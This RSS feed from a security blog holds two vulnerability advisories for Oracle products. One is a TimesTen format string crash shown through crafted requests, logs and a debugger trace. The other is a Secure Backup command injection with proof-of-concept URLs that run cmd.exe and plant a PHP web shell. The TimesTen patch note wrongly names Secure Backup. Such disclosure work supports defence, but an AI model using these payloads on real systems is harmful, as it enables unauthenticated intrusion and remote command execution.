<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unintended Results &#187; advisories</title>
	<atom:link href="http://joxeankoret.com/blog/category/advisories/feed/" rel="self" type="application/rss+xml" />
	<link>http://joxeankoret.com/blog</link>
	<description>Or maybe not</description>
	<lastBuildDate>Fri, 14 May 2010 23:41:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Oracle TimesTen Remote Format String</title>
		<link>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/</link>
		<comments>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 08:35:24 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[advisories]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=41</guid>
		<description><![CDATA[Product Description Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management. Summary The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server. Affected versions [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Product Description</strong></p>
<p>Oracle TimesTen provides a family of real-time infrastructure software products designed for low latency, high-volume data, event and transaction management.</p>
<p><strong>Summary</strong></p>
<p>The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running Oracle TimesTen server.</p>
<p><strong>Affected versions</strong></p>
<p>Oracle TimesTen prior to version 7.0.5.1.0.</p>
<p><strong>Vulnerability</strong></p>
<p>Oracle TimesTen&#8217;s timestend daemon is a simple web server that process the commands received from clients. Many of these commands are used without being authenticated, i.e., without the need for a username and password.</p>
<p>The command &#8220;evtdump&#8221; dumps to the internal log file the contents of an internal data structure. The pseudo-cgi evtdump only receives one parameter, called msg. The parameter &#8220;msg&#8221; is a text that will be printed to the log file before dumping the internal structure.</p>
<p>This parameter is vulnerable to a format string attack which leads to remote code execution before being authenticated. The vulnerability have been tested in Linux environments, although it appears to be vulnerable in all the supported platforms.</p>
<p>The following is an extract of a communication between a custom client and the timestend daemon (the output from the server is shown in the file /var/TimesTen/log/ttmesg.log in Unix and GNU/Linux environments):</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%2510$x%25s HTTP/1.0\r\n\r\n</p>
<p>AT SERVER:</p>
<p>(&#8230;)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
(&#8230;)<br />
19:05:07.01 Info:    : 18225: maind 22: socket closed, calling recovery (last cmd was 25)<br />
19:05:19.07 Info:    : 18225: AAAA80a8a0c(null)<br />
19:05:19.07 Info:    : 18225: mode     :  TTDL_NORMAL<br />
19:05:19.07 Info:    : 18225: ctlfilename :  &#8221;<br />
19:05:19.07 Info:    : 18225: lineno   :  0<br />
19:05:19.07 Info:    : 18225: nitems   :  7<br />
19:05:19.07 Info:    : 18225: maxitems :  32<br />
19:05:19.07 Info:    : 18225: cur_path :  (null)<br />
19:05:19.07 Info:    : 18225: lineno   :  0<br />
19:05:19.07 Info:    : 18225: items    :<br />
19:05:19.07 Info:    : 18225:   item # 0  :<br />
19:05:19.07 Info:    : 18225:     comp     : ALL<br />
19:05:19.07 Info:    : 18225:     level    : 3<br />
19:05:19.07 Info:    : 18225:     dsname   : (null)<br />
(&#8230;)</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%2510$x%25s%25s%25s HTTP/1.0</p>
<p>AT SERVER:</p>
<p>(&#8230;)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
19:05:19.08 Info:    : 18225: maind 23: socket closed, calling recovery (last cmd was 26)<br />
19:06:18.49 Info:    : 18225: AAAA80a8a0c(null)(null)<br />
19:06:18.49 Info:    : 18225: mode     :  TTDL_NORMAL<br />
19:06:18.49 Info:    : 18225: ctlfilename :  &#8221;<br />
19:06:18.49 Info:    : 18225: lineno   :  0<br />
19:06:18.49 Info:    : 18225: nitems   :  7<br />
19:06:18.49 Info:    : 18225: maxitems :  32<br />
19:06:18.49 Info:    : 18225: cur_path :  (null)<br />
19:06:18.49 Info:    : 18225: lineno   :  0<br />
19:06:18.49 Info:    : 18225: items    :<br />
19:06:18.49 Info:    : 18225:   item # 0  :<br />
19:06:18.49 Info:    : 18225:     comp     : ALL<br />
19:06:18.49 Info:    : 18225:     level    : 3<br />
19:06:18.49 Info:    : 18225:     dsname   : (null)<br />
(&#8230;)</p>
<p>FROM CLIENT:</p>
<p>GET evtdump?msg=AAAA%25n HTTP/1.0</p>
<p>AT SERVER:</p>
<p>(&#8230;)<br />
# cat /var/TimesTen/log/ttmesg.log<br />
19:07:38.87 Err :    : 18782: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18785: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18788: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Err :    : 18791: TT14000: TimesTen daemon internal error: subd: Main daemon has vanished<br />
19:07:38.87 Info: SRV: 18800: EventID=99| TimesTen daemon has disconnected, server is exiting&#8230;<br />
19:07:39.54 Info:    : 18785: Listener terminating<br />
19:07:39.54 Info:    : 18785: Listener exited, termination finishing<br />
19:07:39.54 Info:    : 18785: Process termination complete<br />
19:07:39.59 Info:    : 18791: Listener terminating<br />
19:07:39.59 Info:    : 18782: Listener terminating<br />
19:07:39.59 Info:    : 18788: Listener terminating<br />
19:07:39.59 Info:    : 18791: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18791: Process termination complete<br />
19:07:39.59 Info:    : 18782: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18782: Process termination complete<br />
19:07:39.59 Info:    : 18788: Listener exited, termination finishing<br />
19:07:39.59 Info:    : 18788: Process termination complete<br />
19:07:40.59 Info: SRV: 18800: EventID=2| TimesTen Server is stopping<br />
19:07:40.59 Info: SRV: 18800: EventID=99| Server trying to stop child server processes<br />
19:07:40.59 Info: SRV: 18800: EventID=11| Main Server cleaned up all child server processes and exiting<br />
(&#8230;)</p>
<p>The last msg parameter&#8217;s value crashes the timestend daemon. Attaching with a debugger to the timestend daemon we can see the following dump when it crashes:</p>
<p>$ sudo /etc/init.d/tt_70 start &amp;<br />
(&#8230;)<br />
$ sudo gdb attach `cat /var/TimesTen/tt70/timestend.pid`<br />
(&#8230;)<br />
(gdb) c<br />
(&#8230;)<br />
Program received signal SIGSEGV, Segmentation fault.<br />
[Switching to Thread -1223386192 (LWP 18980)]<br />
0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6<br />
(gdb) where<br />
#0  0xb76cf5c6 in vfprintf () from /lib/tls/i686/cmov/libc.so.6<br />
#1  0xb76eca36 in vsnprintf () from /lib/tls/i686/cmov/libc.so.6<br />
#2  0xb7826ddb in ttc_vsnprintf () from /opt/TimesTen/tt70/lib/libttco.so<br />
#3  0x0807689f in ttdLogDump ()<br />
#4  0x0805b138 in daHandler ()<br />
#5  0&#215;08073789 in handlerThread ()<br />
#6  0xb77e7341 in start_thread () from /lib/tls/i686/cmov/libpthread.so.0<br />
#7  0xb775a4ee in clone () from /lib/tls/i686/cmov/libc.so.6<br />
(gdb) i r<br />
eax            0&#215;0      0<br />
ecx            0&#215;4      4<br />
edx            0&#215;0      0<br />
ebx            0xb77bbadc       -1216628004<br />
esp            0xb71480c0       0xb71480c0<br />
ebp            0xb71486e0       0xb71486e0<br />
esi            0&#215;0      0<br />
edi            0xb714895c       -1223390884<br />
eip            0xb76cf5c6       0xb76cf5c6 &lt;vfprintf+14038&gt;<br />
(&#8230;)</p>
<p>The function ttdLogDump is called from daHandler as you can see in the backtrace. This function is the main handler for the internal timestend&#8217;s web server. This is the vulnerable function, ttdLogDump, which receives one argument (the msg parameter to the evtdump pseudo cgi):</p>
<pre lang="asm">.text:0807686D ttdLogDump      proc near               ; CODE XREF: daHandler+5F3p
(...)
.text:08076879                 lea     eax, [ebp+argRet]
.text:0807687C                 push    eax
.text:0807687D                 push    [ebp+argMsg] ; User controlled string buffer
.text:08076880                 push    0
.text:08076882                 push    100h
.text:08076887                 lea     esi, [ebp+buf]
.text:0807688D                 call    $+5
.text:08076892                 pop     ebx
.text:08076893                 add     ebx, 3217Ah
.text:08076899                 push    esi
.text:0807689A                 call    _ttc_vsnprintf</pre>
<p>The function ttc_vsnprintf makes a call internally to the vsnprintf function (in the library /opt/TimesTen/tt70/lib/libttco.so) passing as the buffer to be printed the user supplied value passed to the &#8220;msg&#8221; argument:</p>
<pre lang="sql">.text:0001ADAA ttc_vsnprintf   proc near               ; CODE XREF: msgbuf_error+73p
.text:0001ADAA                                         ; opt_error+83p ...
.text:0001ADAA
(...)
.text:0001ADCE                 push    [ebp+arg]       ; arg
.text:0001ADD1                 push    [ebp+argFormat] ; format
.text:0001ADD4                 push    edi             ; maxlen
.text:0001ADD5                 push    eax             ; s
.text:0001ADD6                 call    _vsnprintf</pre>
<p><strong>Workaround</strong></p>
<p>None.</p>
<p><strong>Patch information</strong></p>
<p>Oracle fixed the vulnerability in version 7.0.5.1.0 of Oracle Secure Backup.</p>
<p><strong>Contact Information</strong></p>
<p>The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com</p>
<p><strong>References</strong></p>
<p><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-004/" target="_blank">Oracle TimesTen evtDump Remote Format String</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5440" target="_blank">CVE-2008-5440</a></p>
<p><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank">Oracle Critical Patch Update January 2009</a></p>
<p><a href="http://www.joxeankoret.com" target="_blank">Professional Web</a></p>
<p><strong>Disclaimer</strong></p>
<p>The information in this advisory and any of its demonstrations is provided &#8220;as is&#8221; without any warranty of any kind.</p>
<p>I am not liable for any direct or indirect damages caused as a result of using the information or demonstrations provided in any part of this advisory.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/01/14/oracle-timesten-remote-format-string/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Oracle Secure Backup 10g Remote Code Execution</title>
		<link>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/</link>
		<comments>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 08:35:03 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Design Flaws]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[advisories]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=39</guid>
		<description><![CDATA[Product Description Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database. Summary The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Product Description<br />
</strong></p>
<p>Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database.</p>
<p><strong>Summary</strong></p>
<p>The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server of Oracle Secure Backup.</p>
<p>In Windows environments, the vulnerability allows execution of arbitrary code as SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user (oracle usually).</p>
<p><strong>CVSS2 Risk Score<br />
</strong></p>
<p>Microsoft Windows: 10<br />
Linux and Unix   :  7,5</p>
<p><strong>Affected versions<br />
</strong></p>
<p>Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems are affected.</p>
<p><strong>Vulnerability Details</strong></p>
<p>Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a variable poisoning attack regardless if the PHP directive register_globals is enabled or not.</p>
<p>Internally, all the variables passed to the script login.php are converted to global variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the method used to send the query will be registered as a global variable.</p>
<p>From the login script called &#8220;login.php&#8221; the tool &#8220;obt.exe&#8221; is executed with a popen call passing arguments received from the client. These arguments are not sanitized nor verified and it allows post-authentication remote command execution BUT due to a logic failure in the script &#8220;login.php&#8221; when the variable &#8220;clear&#8221; has the value &#8220;no&#8221; and other variables (that supposedly comes from a cookie) are set anyone can execute</p>
<p>operating system command from remote without being authenticated. The vulnerable code is the following:</p>
<pre lang="php">if (strlen($ora_osb_bgcookie) &gt; 0 &amp;&amp; $button == "Logout")
{
// Turn DEBUG_EXEC to off
$tmp = $DEBUG_EXEC;
$DEBUG_EXEC = "no";

// Teminate the connection.
$qr_command = "$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie";
$msg = exec_qr("$qr_command");

if (strncmp($msg[0], "Error:", 6))
{
// Set the cookie up.
setcookie("ora_osb_bgcookie", "");
setcookie("ora_osb_lcookie", "");
$ora_osb_bgcookie = "";
}

// Reset DEBUG_EXEC.
$DEBUG_EXEC = $dtmp;
}
header("Location: /login.php?clear=yes");
}</pre>
<p>The function &#8220;exec_qr&#8221; internally calls the function PHP function &#8220;popen&#8221; to execute a command. The $rbtool variable, abusing from the variable poisoning attack, can be changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the need for a user name or password, just with network access to the Oracle Secure Backup Web server. In fact, the script thinks that we&#8217;re doing a logout.</p>
<p><strong>Proof of Concept</strong></p>
<p>* Create a file in the directory &#8220;c:\&#8221;</p>
<p>https://&lt;target&gt;/login.php?clear=no&amp;ora_osb_lcookie=aa&amp;ora_osb_bgcookie=bb&amp;button=Logout&amp;rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;</p>
<p>* Create a PHP backdoor</p>
<p>https://&lt;target&gt;/login.php?clear=no&amp;ora_osb_lcookie=aa&amp;ora_osb_bgcookie=bb&amp;button=Logout&amp;rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B&#8217;a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo</p>
<p><strong>Workaround</strong></p>
<p>Disable the web server.</p>
<p><strong>Patch information</strong></p>
<p>Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.</p>
<p><strong>Contact Information</strong></p>
<p>The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com</p>
<p><strong>References</strong></p>
<p><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-003/" target="_self">Oracle Secure Backup exec_qr() Command Injection Vulnerability</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5448" target="_blank">CVE-2008-5448</a></p>
<p><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank">Oracle Critical Patch Update January 2009</a></p>
<p><a href="http://www.joxeankoret.com" target="_blank">Professional Web</a></p>
<p><strong>Disclaimer</strong></p>
<p>The information in this advisory and any of its demonstrations is provided &#8220;as is&#8221;<br />
without any warranty of any kind.</p>
<p>I am not liable for any direct or indirect damages caused as a result of using the<br />
information or demonstrations provided in any part of this advisory.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
